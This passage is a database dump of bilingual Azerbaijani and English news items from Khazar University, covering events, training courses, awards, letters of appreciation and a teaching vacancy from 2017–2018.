2017-ci il 20-ci sayında Xəzər Universiteti Azərbaycan dili və ədəbiyyatı departamentinin müəllimi Qardaşxan Əzizxanlının “XX. Yüzyılın İkinci Yarısında Azerbaycan’da Vatandaşlık Coşkusunda Sosyal İçerik” (“XX əsrin ikinci yarısında Azərbaycan Vətəndaşlıq lirikasında sosial kontent”) məqaləsi dərc edilmişdir. Jurnalın 11 səhifəsini (111-122-ci səh.) əhatə edən məqalədə XX əsrin ikinci yarısında Azərbaycan vətəndaşlıq lirikasının sosial məzmunu, əsasən, Məmməd Araz, Söhrab Tahir AzərAzər və Məmməd İsmayılın yaradıcılığı əsasında araşdırılaraq, şair kimliyi və onun lirik qəhrəmanı arasında paralellər aparılmaqla vətəndaşlıq lirikasının əsas fəlsəfəsini təşkil edən ictimai-mənəvi istiqamətlər göstərilmiş, xalqın mənəvi deqradasiyasının qarşısının alınmasında, milli-mənəvi birliyin qorunub saxlanılmasında Azərbaycan poeziyasının avanqardı olan M.Araz, S.Tahir və M.İsmayıl yaradıcılığının oynadığı rol ön planda verilmişdir.</p>'),(3989,2326,'en','Swiss Ambassador Philipp Stalder is at Khazar University','On July 6, 2017, Philipp Stalder, Ambassador Extraordinary and Plenipotentiary of the Swiss Confederation to Azerbaijan, visited Khazar University and...','<p>On July 6, 2017, Philipp Stalder, Ambassador Extraordinary and Plenipotentiary of the Swiss Confederation to Azerbaijan, visited Khazar University and met with Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees. A number of issues of interstate education were discussed at the meeting.</p>'),(3990,2328,'en','The next Training Course of Potential School Directors is over','The next training course on ‘School Management’ to potential school directors, the project of Khazar University, has ended. It should also be noted that this course will continue in the next academic year...','<p>The next training course on ‘School Management’ to potential school directors, the project of Khazar University, has ended. It should also be noted that this course will continue in the next academic year.</p><p>The main aim of the training course, in accordance with the country’s new education strategy and reform, is to increase the knowledge and skills of educational workers who want to work in leadership positions at schools and get them familiar with the world’s effective management practices.</p><p>Due to this reason, 6 subjects ( Information and Communication Technologies, Curriculum Design and Management, Education Management, Statistics and Finance, Education Law, Education Psychology) were taught 4 days per week ( 16 hours) and the course lasted for 12 weeks.</p><p>There were also “Quest Lecturers’ Seminars” within the frame of the project during the training sessions.</p><p>During the course, the participants made presentations and conducted discussions on key topics. They expressed the importance of the project and stated that they would apply the acquired theoretical and practical knowledge in their work in the future.</p><p>It should be noted that 445 people have been trained within the frame of the project and more than 50 people (this number is constantly rising) have been appointed as directors or deputy directors.</p><p>On 7 July, a ceremony was held in the conference hall of ‘Dunya’ school, Khazar University, to present the ‘Professional Development Certificates’ to 81 graduates of the training course. Professor Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech at the ceremony. He expressed the importance of the project and emphasized the necessity of establishing a democratic, fair and transparent environment in every educational institution. The rector, Dr. Hassan Niknafs, gave valuable advice to the graduates in his speech. The speakers congratulated the graduates and wished them a successful career.</p><p>Then the certificates were presented to the 3 group of graduates by Professor Hamlet Isakhanli, Dr. Hassan Niknafs, Isakhan Isakhanli, Vice President for Administration and Student Affairs, the Deans, the Heads of Academic Departments, Project Managers and the lecturers of the course. The memory photos were taken.</p><p>Konul Bejanova , Fidan Samadova, and Jala Gadirova spoke on behalf of the graduates and expressed their gratitude to the leadership of Khazar University, Project managers – Elza Samadova, Dean of the School of Education and Raziya Isayeva, Development Director and their lecturers for the high level of training course organization.</p><p>During the ceremony, Mahluga Azizova, the ex-graduate of the course and currently, the director of 232 School in Surakhani district, made a speech and emphasized the importance of acquired knowledge and skills during the course in their career.</p><p>The concert performed by the Chamber orchestra of Khazar University led by Zulfiyya Sadigova, Head of the Department of Music and Fine Arts, was presented to the participants of the ceremony.</p>'),(3991,2324,'en','Last meeting of the Academic Council was held in the  current academic year','On 6 July, the last meeting of the University Academic Council in the current academic year, chaired by Dr. Hassan Niknafs, the rector of Khazar University, was held...','<p>On 6 July, the last meeting of the University Academic Council in the current academic year, chaired by Dr. Hassan Niknafs, the rector of Khazar University, was held. In accordance with the agenda of the meeting, the rector made a speech on the results of 2016-2017 Academic year and spoke about the achievements and upcoming tasks.</p><p>Based on the results of the year he stated that a group of staff members - Piri Piriyev, Repair and construction department employee; Alovsat Amirbeyli, Director for Public Relations and Media; Javanshir Azizov, instructor at the Department of Mathematics; Rosa Arazova, Head of Department of History and Archeology; Samira Mirzayeva, Dean Assistant, School of Economics and Management; Lidiya Hamidova, instructor at the Department of English language and Literature; Raziya Isayeva, Head of Development Centre; Vurgun Eyyub, Head of Department of Azerbaijani language and Literature – deserve to be rewarded and the awards were presented to them.</p><p>Professor Mahammad Nuriyev, Vice President of Khazar University for Academic Affairs, informed that Baba Bayramli, Director of the Center for Alumni Relations, had become a member of the Academic Council and was appointed as the Secretary of the Academic Council.</p><p>The deans of faculties – Elza Samadova, Jabir Khalilov, Jeyhun Mammadov, and dean assistant Vafa Aslanova – gave information about the students who are graduating in the current academic year. Baba Bayramli spoke about the textbooks and subject programs presented to be published, discussions on the issue were conducted and relevant decisions were made.</p><p>Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees spoke and gave his recommendations concerning some issues. He also wished success to Sevda Salayeva, assistant to the Chairman of Board of Directors and Trustees, who intended to change her job, and presented her an award.</p><p>The current issues were also discussed in the meeting of the Academic Council.</p>'),(3994,2330,'az','“Birgə tədris proqramlarının yaradılması: imkanlar və praktiki məsləhətlər” təlimi Xəzər Universitetində keçiriləcək','2017-ci il oktyabrın 10-11-də Xəzər Universitetində Texniki Yardım Missiyası (Technical Assistance Mission – TAM) çərçivəsində birgə dərəcə proqramlarının yaradılması ilə bağlı təlim...','<p>2017-ci il oktyabrın 10-11-də Xəzər Universitetində\r\nTexniki Yardım Missiyası (Technical Assistance Mission – TAM) çərçivəsində birgə\r\ndərəcə proqramlarının yaradılması ilə bağlı təlim keçiriləcək. Birgə dərəcə\r\nproqramı üzrə ekspert, Finlandiya Milli Təhsil Agentliyində proqram meneceri\r\nolan Annika Sundbäck-Lindroos birgə dərəcə proqramları və yaratdığı imkanlar,\r\nregiondan və Avropadan uğurlu nümunələr, inkişaf prosesinin praktiki detalları,\r\nbu cür proqramların yaradılması üçün tələb olunan minimum tələblər haqqında məlumat\r\nvə bu proqramları yaratmaq üçün məsləhətlər verəcək. </p>\r\n<p>Azərbaycanda beynəlxalq birgə dərəcə proqramlarının\r\nyaradılmasında və idarə olunmasında maraqlı olan ali təhsil mütəxəssisləri\r\n(mühazirəçilər, administrativ işçilər, beynəlxalq şöbə heyəti, məktəb\r\ndirektorları, təhsil müşavirləri) təlimdə iştirak etməyə dəvət olunur.</p>'),(3995,2331,'en','LETTERS  OF  APPRECIATION  TO  KHAZAR','On the occasion of successful completion of Jean Monnet Project at Khazar University, Parviz Bagirov, Director of the National Erasmus + Office in Azerbaijan and Malena Mard...','<p><em>On the occasion of successful completion of Jean\r\nMonnet Project at Khazar University, Parviz Bagirov, Director of the National\r\nErasmus + Office in Azerbaijan and Malena Mard, Head of the European Union\r\nDelegation to Azerbaijan,&nbsp;have sent letters of appreciation to Mukhtar\r\nHajizada, PhD, Jean Monnet Program Chair, Head of the Department of Political\r\nScience and International Relations, Khazar University.</em></p>\r\n<p><strong>National\r\nErasmus + Office - Azerbaijan</strong><strong></strong></p>\r\n<p><strong>Dr. Mukhtar Hajizada </strong></p>\r\n<p><strong>Khazar University</strong><strong></strong></p>\r\n<p><strong>Head of International Relations Department </strong></p>\r\n<p>&nbsp;</p>\r\n<p><em>Dear Dr. Hajizada,</em></p>\r\n<p>&nbsp;</p>\r\n<p>I would like to first of all\r\ncongratulate you on the successful accomplishment of the grant to support Jean\r\nMonnet Chair at Khazar University which you received in 2014. As you know we\r\ntried to participate in many of the events that you carried out within, this\r\nproject, in particular we observed the EU-related courses, European Seminar\r\nSeries and the conference on the EU-Azerbaijan relations carried out at Khazar\r\nUniversity with the participation of many notable speakers as well as students\r\nnot only from your university but also from many others. We were also happy to\r\nsee the development of European-Azerbaijani Collaborative Research Network with\r\nmore than 350 members interconnecting scholars, students, and practitioners\r\nfrom the EU and Azerbaijan.</p>\r\n<p>We would like to thank you again\r\nfor all your endeavors that promote EU-Azerbaijan cooperation and wish you a\r\nsuccessful continuation of your activities.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Parviz Baghirov</strong><strong></strong></p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>Director&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </em><em></em></p>\r\n<p><em>National Erasmus+ Office in Azerbaijan</em></p>\r\n<p>June\r\n1,2017</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\r\n<p>EUROPEAN UNİON</p>\r\n<p>Delegation to the Republic of Azerbaijan</p>\r\n<p><strong>Head of Delegation</strong><strong></strong></p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Mukhtar Hajizada,</p>\r\n<p>Jean Monnet Chair and Head of the Department\r\nof Political Science and International Relations at Khazar University </p>\r\n<p>&nbsp;</p>\r\n<p><em>Dear Mr. Hajizada, </em></p>\r\n<p><em>&nbsp;</em></p>\r\n<p>I would\r\nlike to express my appreciation for the work carried out by Jean Monnet Chair\r\nin Azerbaijan, Dr Hajizada. My staff and I personally had the opportunity to\r\ncooperate with Dr. Hajizada and I was positively impressed by his involvement\r\nand contribution in increasing awareness and knowledge about the European Union\r\nin Azerbaijan.</p>\r\n<p>The European Union\r\nDelegation staff members had the opportunity to attend events organised by Dr.\r\nHajizada and to contribute with speeches, debates and simulation exercises, the\r\nlast of which was organised in the framework of Europe Day 2017 celebrations in\r\nBaku.</p>\r\n<p>On all\r\noccasions, the events were well attended and carefully prepared with the active\r\ninvolvement of the students.</p>\r\n<p>&nbsp;</p>\r\n<p><em>Sincerely, </em></p>\r\n<p><strong>&nbsp;</strong></p>\r\n<p><strong>Malena Mard</strong></p>\r\n<p><strong>Head of Delegation</strong><strong></strong></p>\r\n<p><em>Baku, 5 June 2017</em></p><p></p>'),(3996,2332,'az','“Xəzər”in departament müdirinə dosent elmi adı verilmişdir','2017-ci il iyulun 2-də Azərbaycan Respublikası Prezidenti yanında Ali Attestasiya Komissiyasının kollegiyasının qərarı ilə...','<p>2017-ci il iyulun 2-də Azərbaycan Respublikası Prezidenti yanında Ali\r\nAttestasiya Komissiyasının kollegiyasının qərarı ilə Xəzər Universiteti Siyasi\r\nelm və beynəlxalq münasibətlər departamentinin müdiri, fəlsəfə doktoru Muxtar\r\nHacızadəyə dosent elmi adı verilmişdir.</p>'),(3997,2333,'az','İsveçrənin Azərbaycandakı səfirliyinin bülletenində Xəzər Universitetindəki tədbir haqqında xəbər dərc olunmuşdur','İsveçrənin Azərbaycandakı səfirliyinin 2017-ci il iyul ayı (№ 3) bülletenində Xəzər Universitetində iyunun 29-dan iyulun7-dək...','<p>İsveçrənin Azərbaycandakı səfirliyinin 2017-ci il iyul ayı (№ 3) bülletenində Xəzər Universitetində iyunun 29-dan iyulun7-dək “Təbii resursların idarə edilməsi” mövzusunda keçirilmiş beynəlxalq təlimin bağlanış mərasimində səfir Filip Ştalderin iştirak və çıxış etməsi, təlim iştirakçılarına universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə birlikdə sertifikat təqdim etməsi haqqında xəbər dərc olunmuşdur.</p><p></p>'),(4080,2382,'az','Görkəmli tarixçi alim Sara Aşurbəyli haqqında məqalədə onun Xəzər Universitetində yubileyinin keçirilməsi də xatırlanır','“Xalq qəzeti”nin 28 avqust 2017-ci il tarixli mömrəsində tarix elmləri doktoru, Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının baş redaktoru...','<p>“Xalq qəzeti”nin 28 avqust 2017-ci il tarixli nömrəsində tarix elmləri doktoru, Xəzər Universitetinin nəşri olan “Azərbaycan arxeologiyası” jurnalının baş redaktoru, əməkdar müəllim, professor Qüdrət İsmayılzadənin görkəmli tarixçi alim Sara Aşurbəylinin həyat və yaradıcılığından bəhs edən \"Milyonçu qızının böyük şücaəti” adlı geniş məqaləsi dərc olunmuşdur.</p><p>Məqalədə müəllif 1996-cı il fevral ayının 3-də Xəzər Universitetində Sara Aşurbəylinin yubiley gecəsinin keçirilməsindən də ətraflı bəhs edir.</p><p>Məqaləni bu linkin vasitəsilə oxumaq olar: <a href=\"http://xalqqazeti.com/az/news/culture/89724#Kalibri\" target=\"_blank\">http://xalqqazeti.com/az/news/culture/89724#Kalibri</a></p>'),(4081,2384,'az','Professor Hamlet İsaxanlının təbrik məktubuna AFFA-dan cavab','“Qarabağ” futbol klubunun UEFA Çempionlar Liqası turnirinin qrup mərhələsinə vəsiqə qazanması münasibətilə Xəzər Universitetinin təsisçisi, Diektorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlının...','<p>“Qarabağ” futbol klubunun UEFA Çempionlar Liqası turnirinin qrup mərhələsinə vəsiqə qazanması münasibətilə Xəzər Universitetinin təsisçisi, Diektorlar və Qəyyumlar Şurasının sədri Professor Hamlet İsaxanlının AFFA-nın Baş katibi Elxan Məmmədova göndərdiyi təbrik məktubuna cavab alınmışdır:</p><p>“Hörmətli Hamlet müəllim, “Qarabağ” klubunun UEFA Çempionlar Liqası turnirinin qrup mərhələsinə vəsiqə qazanması münasibətilə təbrikiniz və xoş sözləriniz üçün, həmçinin “Qarabağ” FK-nı rəhbərlik etdiyiniz universitetə görüşə dəvət etdiyinizə görə Sizə minnətdarlığımızı bildiririk.Təklifinizlə bağlı “Qarabağ” klubuna məlumat veriləcək. Diqqətiniz üçün təşəkkür edirik. Hörmətlə, Elxan məmmədov, Baş katib.”</p>'),(4082,2382,'en','In the article, dedicated to Sara Ashurbeyli, the well-known historian scientist, the author also refers to her jubilee conducted at Khazar University','In the 28 August, 2017 issue of ‘Xalq’ newspaper, an article, entitled ‘Bravery of a Millionaire\'s Daughter’ which tells about the life and work of Sara Ashurbeyli, the...','<p>In the 28 August, 2017 issue of ‘Xalq’ newspaper, an article, entitled ‘Bravery of a Millionaire\'s Daughter’ which tells about the life and work of Sara Ashurbeyli, the prominent historian scientist, produced by Professor Gudret Ismayilzadeh, Editor-in-chief of the \"Azerbaijani Archeology\" journal published by Khazar University, Honored teacher, was published.</p><p>In the article, the author also talks about the anniversary of Sara Ashurbeyli held at Khazar University on February 3, 1996. The article can be read through the following link: <a href=\"http://xalqqazeti.com/az/news/culture/89724#Kalibri\" target=\"_blank\">http://xalqqazeti.com/az/news/culture/89724#Kalibri</a></p>'),(5320,3080,'en','Exam supervisors instructed','On April 4, 2018, Alovsat Amirbayli, Director for Public Relations and Media of Khazar...','<p>On April 4, 2018, Alovsat Amirbayli, Director for Public Relations and Media of Khazar University and Chairman of the Disciplinary Commission, ran a training session for exam supervisors. During the training, all the provisions of “Exam Rules”, approved by Scientific and Administrative Council of Khazar University, were discussed. Exam supervisors received detailed information on exam preparation, participation in an exam, authority of supervisors, duties of chief supervisor and supervisors, exam process, appeal for reassessment, and other important relevant issues. Some of the provisions of “Exam Rules” led to productive discussions. Then, the trainer answered the questions of the participants.&nbsp;</p><p>Exam supervisors from all the Schools participated in the training.</p>'),(5321,3081,'az','Xəzər Universitetinin əməkdaşları beynəlxalq konfransda iştirak etdilər','2018-ci il aprelin 1-də Xəzər Universiteti Psixologiya departamentinin koordinatoru...','<p>2018-ci il aprelin 1-də Xəzər Universiteti Psixologiya departamentinin koordinatoru, Xəzər Psixoloji Xidmət Mərkəzinin direktoru Mələk Kərimova “İncəsənətin social-psixoloji aspektlərinin incələnməsi” və Humanitar və sosial elmlər fakültəsinin dekan müavini Validə Kərimovanın (doktorant) “N.Çomski: Dil və təfəkkür” adlı elmi məqalə ilə BilimEvi İdarəetmə və Təşkilat Komitəsi, Azərbaycan Milli Elmlər Akademiyası, Yohannesburq Universiteti və Svabi Universitetinin birgə təşkilatçılığı ilə 2-ci Beynəlxalq Elm Konfransda iştirak etdilər. Konfransda Azərbaycan Dillər Universitetinin, Landmark Universitetinin, Recep Tayyip Erdoğan Universitetinin, Lənkəran Dövlət Universitetinin, AMEA İqtisadiyyat İnstitutunun 150-ə yaxın magistr və doktorantları iştirak edərək, biznes və iqtisadiyyat, təhsil, mühəndislik, texnologiya, sağlamlıq, hüquq, regional araşdırmalar və digər mövzularda elmi məruzələrlə çıxış etdilər.</p><p>Sonda iştirakçılara konfransın məqalələr toplusu və sertifikat təqdim edildi.</p><p>Məqaləni tam şəkildə bu&nbsp;<strong><a href=\"/files/letters/Conference_BOOK.PDF\">pdf</a>&nbsp;</strong>faylından oxumaq olar.</p>'),(5322,3081,'en','Khazar University staff members participate in an international conference','On April 1, 2018, Malak Karimova, Coordinator of the Department of Psychology...','<p>On April 1, 2018, Malak Karimova, Coordinator of the Department of Psychology of Khazar University and Director of Khazar Psychological Service Centre, and Valida Karimova, Vice-dean of the School of Humanities and Social Sciences, participated in the 2nd International Science Conference, jointly organized by BilimEvi Management and Organization Committee, Azerbaijan National Academy of Sciences, Johannesburg University, and Swabi University, with articles “Investigation of the social and psychological aspects of art” and “N. Chomsky: Language and Thinking”, respectively. More than 150 graduate and doctoral students from Azerbaijan University of Languages, Landmark University, Recep Tayyip Erdoğan University, Lankaran State University, and Institute of Economics of ANAS delivered reports on business and economics, education, engineering, technology, health, law, regional studies and other topics. At the end of the conference, the participants were presented with certificates and printed collection proceedings.</p><p>The full article is available in this <strong><a href=\"http://www.khazar.org/files/letters/Conference_BOOK.PDF\">pdf</a>&nbsp;</strong>format.<br></p>'),(5323,3082,'az','Vakansiya: İnşaat Mühəndisliyi departamenti müəllim axtarır','Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsi, İnşaat Mühəndisliyi departamenti...','<p>Xəzər Universitetinin Mühəndislik və Tətbiqi Elmlər fakültəsi, İnşaat Mühəndisliyi departamenti 2018-ci ilin&nbsp;payız semestrində əsas fənlərin (<em>Engineering Drawing, Fluid Mechanics, Foundation Engineering, Architectural Structures, Fundamentals of Steel design, Reinforced Concrete Fundamentals I, Hydraulics, Engineering Seismology</em>) tədrisi üçün vakant yerlərə namizədlər axtarır. İnşaat mühəndisliyi ixtisası üzrə magistr və doktorluq dərəcəsi almış azərbaycanlı şəxslər müraciət edə bilərlər. Mühəndislik və Tətbiqi Elmlər fakültəsində tədris ingilis dilindədir. Maraqlananlar öz CV-lərini Mühəndislik və Tətbiqi Elmlər fakültəsinin akademik işlər üzrə dekan müavini Dr. Fəxrəndə Əlimərdanovaya göndərə bilərlər:&nbsp;<a href=\"mailto:falimardanova@khazar.org\">falimardanova@khazar.org</a>.</p>'),(5324,3082,'en','Vacancy: Civil Engineering department is seeking candidates','Khazar University’s department of Civil Engineering is seeking candidates to fill a vacant...','<p>Khazar University’s department of Civil Engineering is seeking candidates to fill a vacant position for teaching pertinent major courses (<em>Engineering Drawing, Fluid Mechanics, Foundation Engineering, Architectural Structures, Fundamentals of Steel design, Reinforced Concrete Fundamentals I, Hydraulics, Engineering Seismology</em>) in the Fall Semester of 2018. Holders of master and PhD degrees in the fields of civil engineering and closely related areas are welcomed to apply. The medium of instruction in the School of Engineering and Applied Sciences is English. If interested, please send your CV to the attention of Dr. Fakhranda Alimardanova, the vice dean for academic affairs of School of Engineering and Applied Sciences:&nbsp;<a href=\"mailto:falimardanova@khazar.org\">falimardanova@khazar.org</a>.</p>'),(5947,3400,'en','Hamlet Isakhanli shared his views on the English language in higher education','On September 3, 2018, in his statement to AzEdu.az, Professor Hamlet Isakhanli, Founder of Khazar...','<p>On September 3, 2018, in his statement to <strong><em>AzEdu.az</em></strong>, Professor Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, shared his views on the place and impact of the English language in higher educational institutions of Azerbaijan.</p>  <p>More information is available at:</p><p><a href=\"http://azedu.az/az/news/5894\">http://azedu.az/az/news/5894</a></p><p><a href=\"http://www.moderator.az/news/238630.html\">http://www.moderator.az/news/238630.html</a>.</p>'),(5948,3401,'en','An article by an associate of the Department of Psychology is published','An article entitled “A sample of psychological analysis in art: analysis of Prof. Hamlet Isakhanli’s...','<p>An article entitled “<em>A sample of psychological analysis in art: analysis of Prof. Hamlet Isakhanli’s poem “The life would be so easy!” based on William Glasser’s reality therapy</em>”, by Melek Karimova, Coordinator of the Department of Psychology of Khazar University and Director of Center for Psychological Service, has been published in the journal of “Issues of Philology” (ISSN 2224-9257), number 11, 2018, included in Periodical Scientific Publications of the Higher Attestation Commission under the President of the Republic of Azerbaijan.</p>'),(5325,3083,'az','Universitetin əməkdaşları Şirvan şəhərində oldular','2018-ci il martın 30-da Xəzər Universitetinin potensial tələbələr üzrə işçi qrupunun koordinatoru Fuat Rəsulov...','<p>2018-ci il martın 30-da Xəzər Universitetinin potensial tələbələr üzrə işçi qrupunun koordinatoru Fuat Rəsulov, İctimai əlaqələr və media üzrə direktoru Əlövsət Əmirbəyli və İqtisadiyyat və menecment departamentinin koordinatoru Elvin Məmmədov Şirvan şəhərlərində səfərdə oldular. Səfər zamanı universitetin nümayəndələri Şirvan şəhərində yerləşən “Alfa” hazırlıq kurslarının rəhbərliyi və “İstək” liseyində məktəbin kollektivi ilə görüşdülər və onlara Xəzər Universiteti haqqında geniş məlumat verdilər.</p>'),(5326,3083,'en','Khazar University staff members visit Shirvan city','On March 30, 2018, Fuat Rasulov, Coordinator of a working group for prospective students...','<p>On March 30, 2018, Fuat Rasulov, Coordinator of a working group for prospective students, Alovsat Amirbayli, Director for Public Relations and Media, and Elvin Mammadov, Coordinator of the Department of Economics and Management, visited Shirvan city. The staff members met with management board of “Alfa” tutoring course and teaching staff of “İstək” Lyceum, and provided them with detailed information about Khazar University.</p>'),(5327,3084,'az','Avrasiya Hasilat Sənayesi Bilik Mərkəzində təlim davam edir - FOTOSESSİYA','Avrasiya Hasilat Sənayesi Bilik Mərkəzində təlim davam edir...',''),(5328,3084,'en','Training in Eurasia Extractive Industries Knowledge Hub continues – PHOTO SESSION','Training in Eurasia Extractive Industries Knowledge Hub continues...',''),(5329,3085,'az','Avrasiya Hasilat Sənayesi Bilik Mərkəzində təlim başa çatdı','Avrasiya Hasilat Sənayesi Bilik Mərkəzində təlim başa çatdı...','<p>Martın 29-dan aprelin 6-dək Xəzər Universitetində Avrasiya Hasilat Sənayesi Bilik Mərkəzinin növbəti təlimi keçirilmişdir. Təlim “Təbii sərvətlərin davamlı inkişafa transformasiyası” mövzusuna həsr olunmuşdu. Təlimdə Avrasiya regionunun 6 ölkəsindən – Qazaxıstan, Qırğızıstan, Tacikistan, Monqolustan, Ukrayna və Azərbaycandan 30 nəfər iştirak edirdi. İştirakçılar hökumət, vətəndaş cəmiyyəti, media və özəl sektorun təmsilçiləri idi.</p><p>Təlimi ABŞ-ın tanınmış eksperti Patrick Heller və Avrasiya Bilik Mərkəzinin mütəxəssisləri aparmışlar.</p><p>Aprelin 2- də təlim çərçivəsində Avrasiya Bilik Mərkəzi Açıq Büdcə Sorğusunun 2017-ci il nəticələrinə həsr olunmuş forum təşkil etmişdir. Dövlət strukturları, vətəndaş cəmiyyəti və beynəlxalq təşkilatların nümayəndələri ilə birgə təlim iştirakçiları da foruma qatılmışdılar.</p><p>Forumda Avrasiya Bilik Mərkəzinin direktoru İngilab Əhmədov öz çıxışında Açıq Büdcə Sorğusunun mahiyyətindən və detallarından bəhs etmişdir. Ekspertlər - Ukraynadan Volodimir Tarnay, Rusiyadan Andrey Alayev və Azərbaycandan Azər Mehtiyev sorğuda öz ölkələrinin göstəricələrindən və bu göstəricilərə təsir edən faktorlardan danışmışlar.</p><p>8 gün davam edən təlimdə iştirakçılar yerli və beynəlxalq ekspertlərin mövzuya dair təqdimatlarını dinləmiş, Dövlət Neft Fondunda olmuşlar.</p><p>Aprelin 5-də təlimin bağlanış mərasimində İsveçrənin Azərbaycandakı fövqəladə və səaliyyətli səfiri Philipp Stalder, Xəzər Univeritetinin rektoru Hassan Niknafs, Avrasiya Bilik Mərkəzinin direktoru İnqilab Əhmədov və NRGİ Avrasiya təmsilçisi Qalib Əfəndiyev çıxış etmiş, təlim müddətində əldə olunan bilik və təcrübənin ölkələrin rifahı naminə istifadə olunacağına inandıqlarını vurğulamışlar. Sonda iştirakçılara sertifikat təqdim olunmuşdur.</p>'),(5330,3085,'en','Training in Eurasia Extractive Industries Knowledge Hub is over','Training in Eurasia Extractive Industries Knowledge Hub  is over...','<p>On March 29 – April 6, 2018, Eurasia Extractive Industries Knowledge Hub held the next training on “Transformation of natural resources in sustainable development” at Khazar University. The training session was attended by 30 participants from 6 countries of Eurasia (Kazakhstan, Kyrgyzstan, Tajikistan, Mongolia, Ukraine and Azerbaijan) who represented governments, civil societies, the media and private sector.</p><p>The training was run by Patrick Heller, prominent American trainer, and experts of Eurasia Knowledge Hub.</p><p>On April 2, a forum dedicated to Open Budget Survey 2017 of Eurasia Knowledge Hub was held within the framework of the training. Along with training participants, government officials and representatives of civil societies and international organisations participated in the forum.</p><p>Ingilab Ahmadov, Director of Eurasia Knowledge Hub, talked about the essence and details of Open Budget Survey. Experts - Volodimir Tarnay (Ukraine), Andrey Alayev (Russia) and Azar Mehtiyev (Azerbaijan) delivered reports on indicators related to their countries as well as factors affecting these indicators.</p><p>During 8-day training, national and international experts delivered reports on the topic and visited State Oil Fund.</p><p>On April 5, Philipp Stalder, Swiss Ambassador to Azerbaijan, Hassan Niknafs, Rector of Khazar University, Ingilab Ahmadov, Director of Eurasia Knowledge Hub, and Galib Afandiyev, representative of NRGI Eurasia, delivered speeches at closing ceremony and stressed the importance of knowledge and skills gained at the training. In the end, the participants were presented with certificates.</p>'),(5331,3086,'az','Xəzər Universitetində beynəlxalq konfrans keçiriləcək','2018-ci il mayın 21-dən 24-dək Xəzər Universitetinin Riyaziyyat departamentində universitetin...','<p>2018-ci il mayın 21-dən 24-dək Xəzər Universitetinin Riyaziyyat departamentində universitetin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının (İsayev) 70 illik yubileyinə həsr olunmuş “Riyazi fizikanın operatorları, funksiyaları və sistemləri” (RFOFS) adlı konfrans keçiriləcək.</p><p>Konfrans bütün dünyadan riyazi fizika sahəsində aparıcı mütəxəssisləri və gənc tədqiqatçıları bir yerə toplayır. Konfransın məqsədi riyazi fizika sahəsində yeni 